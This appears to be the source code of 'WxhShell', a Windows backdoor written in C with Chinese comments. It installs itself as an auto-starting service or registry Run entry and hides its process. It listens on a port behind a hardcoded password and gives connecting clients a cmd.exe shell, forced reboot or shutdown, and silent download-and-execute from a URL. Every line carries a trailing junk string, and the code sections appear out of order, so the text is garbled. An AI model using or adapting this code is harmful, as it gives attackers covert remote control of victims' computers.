    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o: TO[  
    else { |FH/Q-7[  
    closesocket(wsh); {4UlJ,Z.n  
    ExitThread(0); WnA]gyc  
    } }56"4/  Z  
    break; H=EvT'g  
    } j&ddpS(s  
  // 获取shell G.1pg]P!  
  case 's': { eo"6 \3z  
    CmdShell(wsh); amOBUD5Ld`  
    closesocket(wsh); DqbN=[!X~n  
    ExitThread(0); #}l }1^$  
    break; Bx2E9/S3  
  } .BuY[,I+  
  // 退出 Bm1yBKjO  
  case 'x': { pz~AsF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9_oIAn:<  
    CloseIt(wsh); sJ25<2/  
    break; %=%jy  
    } 3%>"|Ye}A  
  // 离开 buq3t+0  
  case 'q': { :U^a0s%B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >(p "!  
    closesocket(wsh); RR*<txdN  
    WSACleanup(); e$fxC-sZ  
    exit(1); yD$rls:v<  
    break; g.Z>9(>;Y  
        } PKty'}KF  
  } E XEae ?  
  } UIIR$,XB  
P%(pbG-X.  
  // 提示信息 w*OZ1|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0l!@bj  
} rV54-K;`0  
  } 79z(n[^  
#Q"el3P+q  
  return; wqK>=Ri_  
} lmgMR|v  
8S &`  
// shell模块句柄 IX,/ZOZ|  
int CmdShell(SOCKET sock) `b+f^6SJn  
{ n(0O'nS^  
STARTUPINFO si; QB7E:g&7  
ZeroMemory(&si,sizeof(si)); pTX{j=n!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1.]#FJe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HFB2ep7N  
PROCESS_INFORMATION ProcessInfo; :I1 )=8lO  
char cmdline[]="cmd"; FU E/uh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b Bb$0HOF  
  return 0; H*?U@>UU  
} ]4@_KKP  
pdngM 8n  
// 自身启动模式 kzMCI)>"  
int StartFromService(void) T4F}MVK  
{ V#'sH  
typedef struct t:9}~%~  
{ k:nr!Y<  
  DWORD ExitStatus; a]Bm0gdrO  
  DWORD PebBaseAddress; 4w}\2&=  
  DWORD AffinityMask; m>yk4@a  
  DWORD BasePriority;  S`)KC-  
  ULONG UniqueProcessId; f nX!wN  
  ULONG InheritedFromUniqueProcessId; v[q2OWcL  
}   PROCESS_BASIC_INFORMATION; yNoJrA  
s*>s;S?{|  
PROCNTQSIP NtQueryInformationProcess; kOmTji7  
\SHYwD}*Pr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FVPhk2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nw+L _b  
bjmUU6VLT  
  HANDLE             hProcess; BuCU_/H  
  PROCESS_BASIC_INFORMATION pbi; Z2_eTC u  
V7G?i\>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4_ztIrw  
  if(NULL == hInst ) return 0; L=O,OS+  
(`5No:?v<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +y!dU{L^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  Jx9S@L`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ol`/r@s  
>pW8K[  
  if (!NtQueryInformationProcess) return 0; @NWjYHM[`  
<*3{Twa1T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MUh )  
  if(!hProcess) return 0; mk2T   
]tA39JK-i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bHH{bv~Z  
PspH[db  
  CloseHandle(hProcess); 5"u-oE&  
T^B&GgW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'Cd8l#z7  
if(hProcess==NULL) return 0; j0B, \A  
0}2Uj>!i  
HMODULE hMod; &W:Wv,3  
char procName[255]; 6a[D]46y,2  
unsigned long cbNeeded;  VT96ph  
y44FejH(v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UK*+EEv  
sesr`,m.,  
  CloseHandle(hProcess); :~3sW< P R  
I& l1b>  
if(strstr(procName,"services")) return 1; // 以服务启动 "#z4  
ck>|p09q'9  
  return 0; // 注册表启动 5V!L~#  
} TS^(<+'  
jz QmYcd  
// 主模块 m3 C&QdjRp  
int StartWxhshell(LPSTR lpCmdLine) JryDbGc8  
{ k!H;(B"s-  
  SOCKET wsl; /6B!& b2f  
BOOL val=TRUE; v%n'_2J =^  
  int port=0; M`Jj!  
  struct sockaddr_in door; SL" ;\[uI  
-|B?pR  
  if(wscfg.ws_autoins) Install(); gRIRc4p  
izsAn"v  
port=atoi(lpCmdLine); M7^PWC  
[X0Wfb}{  
if(port<=0) port=wscfg.ws_port; JM!rop^  
3P3x^NI  
  WSADATA data; GzWmXm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q{@j$fMt0  
%Js3Y9AL C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dRTtDH"%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 767xCP  
  door.sin_family = AF_INET; z)xGZ*{=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H$au02dpU  
  door.sin_port = htons(port); ks< gSCB  
4SCb9| /Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yS p]+  
closesocket(wsl); .",E}3zn  
return 1; an={h,  
} 1v!Xx+}  
+6@".<  
  if(listen(wsl,2) == INVALID_SOCKET) { I~y[8  
closesocket(wsl); 3C 84b/A  
return 1; ${0+LhST  
} k<wX??'  
  Wxhshell(wsl); vNlYk  
  WSACleanup(); Iz,a Hrq  
$]|fjB#D  
return 0; !31v@v:)  
H>AQlO+J  
} CT+pkNC  
jJdw\`  
// 以NT服务方式启动 7].tt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a9 7A{7I&  
{ [_*%  
DWORD   status = 0; YqX/7b+  
  DWORD   specificError = 0xfffffff; VFz (U)._  
2#~5[PtP^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z #c)Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3ddH@Y|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TzmoyY  
  serviceStatus.dwWin32ExitCode     = 0; = q9>~E{}  
  serviceStatus.dwServiceSpecificExitCode = 0; LL|$M;S  
  serviceStatus.dwCheckPoint       = 0; Z7% |'E R  
  serviceStatus.dwWaitHint       = 0; ~F~g$E2 }  
"gjy+eosY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cJj4qX F  
  if (hServiceStatusHandle==0) return; ; S7 %  
b/cc\d<  
status = GetLastError(); T5?@'b8F6  
  if (status!=NO_ERROR) `=0}+  
{ fC+<n{"C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m-S4"!bl  
    serviceStatus.dwCheckPoint       = 0; eE5U|y)_  
    serviceStatus.dwWaitHint       = 0; }eb}oK  
    serviceStatus.dwWin32ExitCode     = status; z40uY]Ck  
    serviceStatus.dwServiceSpecificExitCode = specificError; +168!Jw;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [}q6bXM*  
    return; ;W,XP#{W  
  } \M(0@#-$C  
Eh&*"&fHR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~K]5`(KV  
  serviceStatus.dwCheckPoint       = 0; z[Xs=S!]I  
  serviceStatus.dwWaitHint       = 0; E9TWLB5A)(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P,lKa.  
} *t.L` G  
S]mXfB(mh  
// 处理NT服务事件,比如:启动、停止 fBBNP)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7.-Q9xv  
{ f{MXH&d 1\  
switch(fdwControl) ,<s'/8Ik  
{ e2CjZ"C  
case SERVICE_CONTROL_STOP: :td6Mywl  
  serviceStatus.dwWin32ExitCode = 0; %Ez=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q$Qs$  
  serviceStatus.dwCheckPoint   = 0; 'D(|NYY  
  serviceStatus.dwWaitHint     = 0; H+y(W5|2/X  
  { 2Sbo7e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B'"(qzE-kM  
  } xU+c?OLi  
  return; <|9s {z  
case SERVICE_CONTROL_PAUSE: `6;%HbP$W+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :"5'l>la  
  break; |LA@guN  
case SERVICE_CONTROL_CONTINUE: D_er(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B|U*2|e  
  break; k"X<gA  
case SERVICE_CONTROL_INTERROGATE: T {Q]  
  break; - `F#MN  
}; Y1?w f.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O& k+;r  
} D]n9+!Ec1f  
GyQu?`  
// 标准应用程序主函数 7.7P>U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a[d6@!  
{ l2Z!;Wm(  
AX3iB1):K  
// 获取操作系统版本 !\w@b`Iv8  
OsIsNt=GetOsVer(); I?c "\Fe  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :MPWf4K2s  
<yzgZXxIaS  
  // 从命令行安装 gE2k]`[j]  
  if(strpbrk(lpCmdLine,"iI")) Install(); YLs%u=e($  
X:Z4QqT  
  // 下载执行文件 ^-Ob($(\  
if(wscfg.ws_downexe) { ) Zud|%L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :k9n 9  
  WinExec(wscfg.ws_filenam,SW_HIDE); d Bn/_  
} t Dn{;ED<  
x[l_dmq  
if(!OsIsNt) { .: gZ*ks~  
// 如果时win9x,隐藏进程并且设置为注册表启动 6\"g,f  
HideProc(); 9>,$q"M}?  
StartWxhshell(lpCmdLine); }jTCzqHW]  
} uFPJ}m[>5  
else yneIY-g(p  
  if(StartFromService()) 40,u(4.m*  
  // 以服务方式启动 k\(LBZ"vR  
  StartServiceCtrlDispatcher(DispatchTable); pJ)PVo\cV  
else !9w3/Gthj  
  // 普通方式启动 trD-qi  
  StartWxhshell(lpCmdLine); ^W!w~g+  
#mu3`,9V  
return 0; 2_i/ F)W  
} TY,5]*86I&  
}i,LP1R  
o"h* @.  
aVTTpMY  
=========================================== ~2 aR>R_nT  
( -^-  
b {fZU?o  
cb|cYCo5  
w0W9N%f#=  
h\C" ti2  
" "Z xM,kI  
JBzRL"|  
#include <stdio.h> G-FeDP  
#include <string.h> xZ2^lsY  
#include <windows.h> ~Q<h,P  
#include <winsock2.h> ?+6w8j%\  
#include <winsvc.h> =e\E{K'f@  
#include <urlmon.h> &oi*]:<FNe  
!<`}m E!:  
#pragma comment (lib, "Ws2_32.lib") l6o?(!:!%  
#pragma comment (lib, "urlmon.lib") ['1JN UX  
7-Bttv{  
#define MAX_USER   100 // 最大客户端连接数 < zUU`  
#define BUF_SOCK   200 // sock buffer %&EDh2w>  
#define KEY_BUFF   255 // 输入 buffer )X-~+X91 S  
Iu(j"b#  
#define REBOOT     0   // 重启 eYSVAj  
#define SHUTDOWN   1   // 关机 N=4`jy =  
QN!.~>  
#define DEF_PORT   5000 // 监听端口 1 /@lZ  
g+CTF67  
#define REG_LEN     16   // 注册表键长度 Wk3R6 V  
#define SVC_LEN     80   // NT服务名长度 MZ9{*y[z  
N0U6N< w  
// 从dll定义API T\}?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @|A w T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c;RB!`9"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &dA{<.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [Ol}GvzJ7  
s Yp?V\Y"  
// wxhshell配置信息 Ekq&.qjYG"  
struct WSCFG { /eFudMl  
  int ws_port;         // 监听端口 2R W^Nqc9  
  char ws_passstr[REG_LEN]; // 口令 -TL `nGF  
  int ws_autoins;       // 安装标记, 1=yes 0=no @C\>P49  
  char ws_regname[REG_LEN]; // 注册表键名 47 ]?7GU,  
  char ws_svcname[REG_LEN]; // 服务名 fg[]>:ZT.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SU. 9;I !  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `8 Q3=^)3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X MkyX&y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sf""]c$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m5Q?g8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /%O+]#$`0  
^uG^XY&ItC  
}; Z?XgY\(a(Q  
 k2]Q~  
// default Wxhshell configuration 3RYg-$NK[  
struct WSCFG wscfg={DEF_PORT, Xgq-r $O2X  
    "xuhuanlingzhe", "l83O8 L  
    1, ZAK NyA2  
    "Wxhshell", ykq9]Xqhv  
    "Wxhshell", >$^v@jf  
            "WxhShell Service", =^nb-9.  
    "Wrsky Windows CmdShell Service", {R5{v6m_  
    "Please Input Your Password: ", s> d /9 b  
  1, X9:4oMux7  
  "http://www.wrsky.com/wxhshell.exe", g7>p,  
  "Wxhshell.exe" 8Xo`S<8VS  
    }; 1w30Vj2<  
Z.!tp  
// 消息定义模块 CqF= 5z:A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]m ED3#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4JOw@/nE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZW+[f$X  
char *msg_ws_ext="\n\rExit."; <4DSk9/  
char *msg_ws_end="\n\rQuit."; g)o?nAr  
char *msg_ws_boot="\n\rReboot..."; ,B^NH7A:  
char *msg_ws_poff="\n\rShutdown..."; hU 3z4|~+  
char *msg_ws_down="\n\rSave to "; K@0gBgN  
jGp|:!'w  
char *msg_ws_err="\n\rErr!"; .JkcCEe{G  
char *msg_ws_ok="\n\rOK!"; D7'P^*4_B  
*ud"?{)Z  
char ExeFile[MAX_PATH];  (C1@f!Z  
int nUser = 0; >pS @;t'  
HANDLE handles[MAX_USER];  vbol 70  
int OsIsNt; , [ogh  
EUVB>%P  
SERVICE_STATUS       serviceStatus; d-cK`pSB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ="M7F0k  
0O_acO 4  
// 函数声明 T(n<@Ac]V  
int Install(void); x+mf QcSD&  
int Uninstall(void); wF@mHv  
int DownloadFile(char *sURL, SOCKET wsh); .bwKG`F  
int Boot(int flag); Hh|a(Zq,  
void HideProc(void); O&ur |&v  
int GetOsVer(void); ^+v6?%m  
int Wxhshell(SOCKET wsl); p-KMELB  
void TalkWithClient(void *cs); t&GjW6]W  
int CmdShell(SOCKET sock); !i"Z  
int StartFromService(void); hqPpRSv'  
int StartWxhshell(LPSTR lpCmdLine); #5Zf6w  
Jl,mYFEZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vZ<@m2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Obd};&6Q  
b[mAkm?9+1  
// 数据结构和表定义 ZO^Y9\L  
SERVICE_TABLE_ENTRY DispatchTable[] = O@n1E'S/  
{ /M Hml0u  
{wscfg.ws_svcname, NTServiceMain}, Wa/&H$d\u@  
{NULL, NULL} e~wuoE:M3  
}; =*ZQGM3w  
aa:97w~s0  
// 自我安装 aP%& -W$D|  
int Install(void) ZO`{t1   
{ 5LPyPL L  
  char svExeFile[MAX_PATH]; e-}b]\  
  HKEY key; "cK@Yo  
  strcpy(svExeFile,ExeFile); %Q)3*L  
Q@7-UIV|q  
// 如果是win9x系统,修改注册表设为自启动 >9h@Dj[|!  
if(!OsIsNt) { 8SG*7[T7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  3,7SGt r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aN87^[  
  RegCloseKey(key); K1vm [Ne  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RsY7F;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `#X\@?'5  
  RegCloseKey(key); 0cd`. ZF  
  return 0; P^1+;dL,D  
    } x{$~u2|  
  } ,+iREh;  
} L`fDc  
else { pi'w40!:  
@kq~q;F  
// 如果是NT以上系统,安装为系统服务 ~ jR:oN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ` 0YI?$G1  
if (schSCManager!=0) FG?69b>  
{ c4T8eTKU  
  SC_HANDLE schService = CreateService (x.O]8GKP  
  ( W6b5elH@  
  schSCManager, ~|LlT^C  
  wscfg.ws_svcname, |_=o0l f  
  wscfg.ws_svcdisp, q- U/JC  
  SERVICE_ALL_ACCESS, z[7j`J|Kk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;:w?&4  
  SERVICE_AUTO_START, (sngq{*%%z  
  SERVICE_ERROR_NORMAL, 8z?q4  
  svExeFile, 8veYs`  
  NULL, ?q&*|-%)_d  
  NULL, E7XFt#P.  
  NULL, v=(L>gg  
  NULL, UuNcBzB2d  
  NULL :HDl-8]Lw  
  ); nm!5L[y!0  
  if (schService!=0) t-xw=&!w  
  { n1X.]|6'  
  CloseServiceHandle(schService); Dm,*G`Js  
  CloseServiceHandle(schSCManager); }d,iA FG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^,Paih 2  
  strcat(svExeFile,wscfg.ws_svcname); Y#'?3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l P4A?J+Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S{ v [65  
  RegCloseKey(key); ;ew3^i.du  
  return 0; C+iIvRYC  
    } :RJ=f  
  } 5`$.GV  
  CloseServiceHandle(schSCManager); H#/}FoBiS  
} LK "47  
} IX!Q X  
SA5 g~{"  
return 1; De^GWO.?bT  
} U!GG8;4  
O23dtH  
// 自我卸载 e}Y|' bG  
int Uninstall(void) vm3B>ACJ  
{ %fS__Tb#u  
  HKEY key; MX=mGfoa  
|.A#wjF9  
if(!OsIsNt) { cU,]^/0Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Mvm'T:[  
  RegDeleteValue(key,wscfg.ws_regname); E~=`Ac,G2  
  RegCloseKey(key); hFDY2Cp]D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $'SWH+G  
  RegDeleteValue(key,wscfg.ws_regname); $6BD6\@  
  RegCloseKey(key); yu3T5@Ww  
  return 0; s!\:%N  
  } Ms^U`P^V~P  
} :hre|$@{a  
} E!d;ym  
else { r!qr'Ht<  
ZH9sf~7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q:.q*I!D<4  
if (schSCManager!=0) (lDbArqy  
{ n[jyhBf\W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &ukYTDM  
  if (schService!=0) ZDVz+L|p  
  { 83"Vh$&  
  if(DeleteService(schService)!=0) { .%{3#\  
  CloseServiceHandle(schService); a$ f$CjQ  
  CloseServiceHandle(schSCManager); Kh)SgJ3B@  
  return 0; b%w?YR   
  } [B}$U|V0  
  CloseServiceHandle(schService); 1^G*)Qn5Df  
  } xWY%-CWY.  
  CloseServiceHandle(schSCManager); kPN:m ow  
} CJ*8x7-t  
} Z J:h]  
D49yV`  
return 1; O|t@p=]  
} j@jaFsX |  
S>W_p~ @  
// 从指定url下载文件 nf,R+oX  
int DownloadFile(char *sURL, SOCKET wsh) icq!^5BzL  
{ nLn3kMl4  
  HRESULT hr; z(sfX}%  
char seps[]= "/"; C;#-2^h  
char *token; alQMPQVin  
char *file; ac8+?FpK #  
char myURL[MAX_PATH]; +|#lUXC  
char myFILE[MAX_PATH]; !d@qT.  
WJefg  
strcpy(myURL,sURL); h J*2q"  
  token=strtok(myURL,seps); Lh0qB)>  
  while(token!=NULL) ?0%yDq1_  
  { s?=v@|vz)  
    file=token; _#6_7=g@s6  
  token=strtok(NULL,seps); oyQp"'|N  
  } Pr |u_^  
W\JbX<mQ  
GetCurrentDirectory(MAX_PATH,myFILE); ]a4rA+NFLB  
strcat(myFILE, "\\"); +!dWQ=W  
strcat(myFILE, file); Qh4@Nl#Ncf  
  send(wsh,myFILE,strlen(myFILE),0); ~x:\xQti  
send(wsh,"...",3,0); Ks|qJ3;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); muMb pF  
  if(hr==S_OK) ZWZRG-:&H  
return 0; 5Jo><P a  
else ~YQC!x  
return 1; Czj]jA(0f  
fq-zgqF<  
} D6cqON0a.  
3lw KV  
// 系统电源模块 (;RmfE'PX  
int Boot(int flag) "bI'XaSv  
{ )%8 ;C]G;  
  HANDLE hToken; c{YBCWA  
  TOKEN_PRIVILEGES tkp; aRPpDSR?l  
2Zf} t  
  if(OsIsNt) { G}!dm0s$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~Z74e>V%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  4x.1J  
    tkp.PrivilegeCount = 1; PQ6.1}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } 0su[gy[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IYeX\)Gv&  
if(flag==REBOOT) { )f#raXa5+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) blbL49;  
  return 0; o:`>r/SlL  
} AfU~k!4`  
else { WCK;r{p%I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YNEPu:5J  
  return 0; SFKfsb!C  
} e^;<T9Esr  
  } >=G-^z:  
  else { mB.ybrig  
if(flag==REBOOT) { IM""s]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gP&G63^  
  return 0; @FC|1=+  
} N3J T[7  
else { uB;\nj5'D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !Ee#jCXS  
  return 0; *V@>E2@  
} ]: VR3e"H  
} " 3ryp A  
X~m*`UH  
return 1; M1{ru~Z9  
} "pQFIV,  
m tPmVze  
// win9x进程隐藏模块 cV=0)'&<`_  
void HideProc(void) O+8]y4%5  
{ dvPK5+0W?  
2n/cq K   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3aD\J_  
  if ( hKernel != NULL ) 0l.\KF  
  { '/2u^&W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^0 zWiX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,C4gA(')K  
    FreeLibrary(hKernel); |wef[|@%  
  } |f9fq~'1e  
{jnfe}]  
return; <oFZFlY@  
} =f FTi1]/h  
y7iHB k"^:  
// 获取操作系统版本 $2tPqZ>  
int GetOsVer(void) I.C,y\  
{ -SyQ`V)T7N  
  OSVERSIONINFO winfo; i3bDU(GS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rn$LZE %  
  GetVersionEx(&winfo); -0pAj}_2}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bSK> p3  
  return 1; %Z:07|57I[  
  else S,Y\ox-  
  return 0; `5J`<BPs  
} <B+xE?v4  
}"QV{W  
// 客户端句柄模块 P4h^_*d  
int Wxhshell(SOCKET wsl) [I XX#^F  
{ #YABb wH  
  SOCKET wsh; u~JCMM$  
  struct sockaddr_in client; hxt,%al  
  DWORD myID; g}uVuK;<  
UKfC!YR2J8  
  while(nUser<MAX_USER) dV~d60jOF  
{ 28u3B2\$  
  int nSize=sizeof(client); 71g\fGG\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -#TF&-  
  if(wsh==INVALID_SOCKET) return 1; -XbO[_Wf  
f( %r)%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5V"Fy&}:  
if(handles[nUser]==0) $|0?$U7!  
  closesocket(wsh); L%h Vts'  
else [/P}1 c[)U  
  nUser++; 3U.?Jbm-8  
  } tTX@Bb8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [,@gSb|D?  
3#d?  
  return 0; '[T#d!T  
} JDa=+\_  
In3},x +$  
// 关闭 socket ;*~y4'{z  
void CloseIt(SOCKET wsh) KG2ij~v  
{ GnCO{"n  
closesocket(wsh); ;usv/8  
nUser--; LTof$4s  
ExitThread(0); ].A>ORS/  
} != @U~X|cu  
-GqMis}c  
// 客户端请求句柄 D'nO  
void TalkWithClient(void *cs) [@"7qKd1  
{ k+D32]b@  
"s?!1v(v  
  SOCKET wsh=(SOCKET)cs; r.JY88"  
  char pwd[SVC_LEN]; $y2"Q,n+  
  char cmd[KEY_BUFF]; G $P|F6  
char chr[1]; nVSuvq|S  
int i,j; H#Aar  
l^LYSZg'R8  
  while (nUser < MAX_USER) { |=\w b^l+  
oo+nqc`,O  
if(wscfg.ws_passstr) { ZysZS%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H@j D %  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W-72&\7  
  //ZeroMemory(pwd,KEY_BUFF); BAJEn6f?  
      i=0; *[@k=!73  
  while(i<SVC_LEN) { y*f 5_  
Q?1' JF!G  
  // 设置超时 S4'\=w #  
  fd_set FdRead; 8J5{}4s\f  
  struct timeval TimeOut; r@|{mQOxa  
  FD_ZERO(&FdRead); CO)BF%?B  
  FD_SET(wsh,&FdRead); L\`uD  
  TimeOut.tv_sec=8; XBTtfl &  
  TimeOut.tv_usec=0; !BQ:R(w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ljS~>&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2O*(F>>dT  
.b3c n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v?9  
  pwd=chr[0];  e>FK5rz  
  if(chr[0]==0xd || chr[0]==0xa) { )q+Qtz6D  
  pwd=0; n)~9  
  break; \Y?ByY  
  } z }t{bm  
  i++; F74^HQ*J  
    } uyp|Xh,  
4a]$4LQV  
  // 如果是非法用户,关闭 socket GadZ!_.f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xe=/T# %  
} Lwy9QZL  
P ~sX S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xUKn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nc0!ag  
C2Pw;iK_t  
while(1) { J7p'_\  
pOe"S  
  ZeroMemory(cmd,KEY_BUFF); 2#^@awJ ?  
)`*=P}D  
      // 自动支持客户端 telnet标准   u>YC4&  
  j=0;  hxedQvW  
  while(j<KEY_BUFF) { l9zkx'xt.-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9:]w|lE:D  
  cmd[j]=chr[0]; ZQ0R3=52r  
  if(chr[0]==0xa || chr[0]==0xd) { )S,Rx  
  cmd[j]=0; _a?(JzLw5  
  break; e*zt;SR  
  } O< \i{4}}  
  j++; K<_bG<tm_  
    } @N?u{|R:d  
IPIas$  
  // 下载文件 [VsTyqV a  
  if(strstr(cmd,"http://")) { ~S$\ PG4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LH" CIL2  
  if(DownloadFile(cmd,wsh)) ~zcHpxO^W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4"=(kC~~  
  else 'JjW5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q&X#( 3&'  
  } ]<zjD%Ez  
  else { #cZ<[K q6  
[5iBXOmpS=  
    switch(cmd[0]) { ;mi+[`E  
  Oh|KbM*vS  
  // 帮助 |#)S`Ua1  
  case '?': { 1U/ dc.x5  
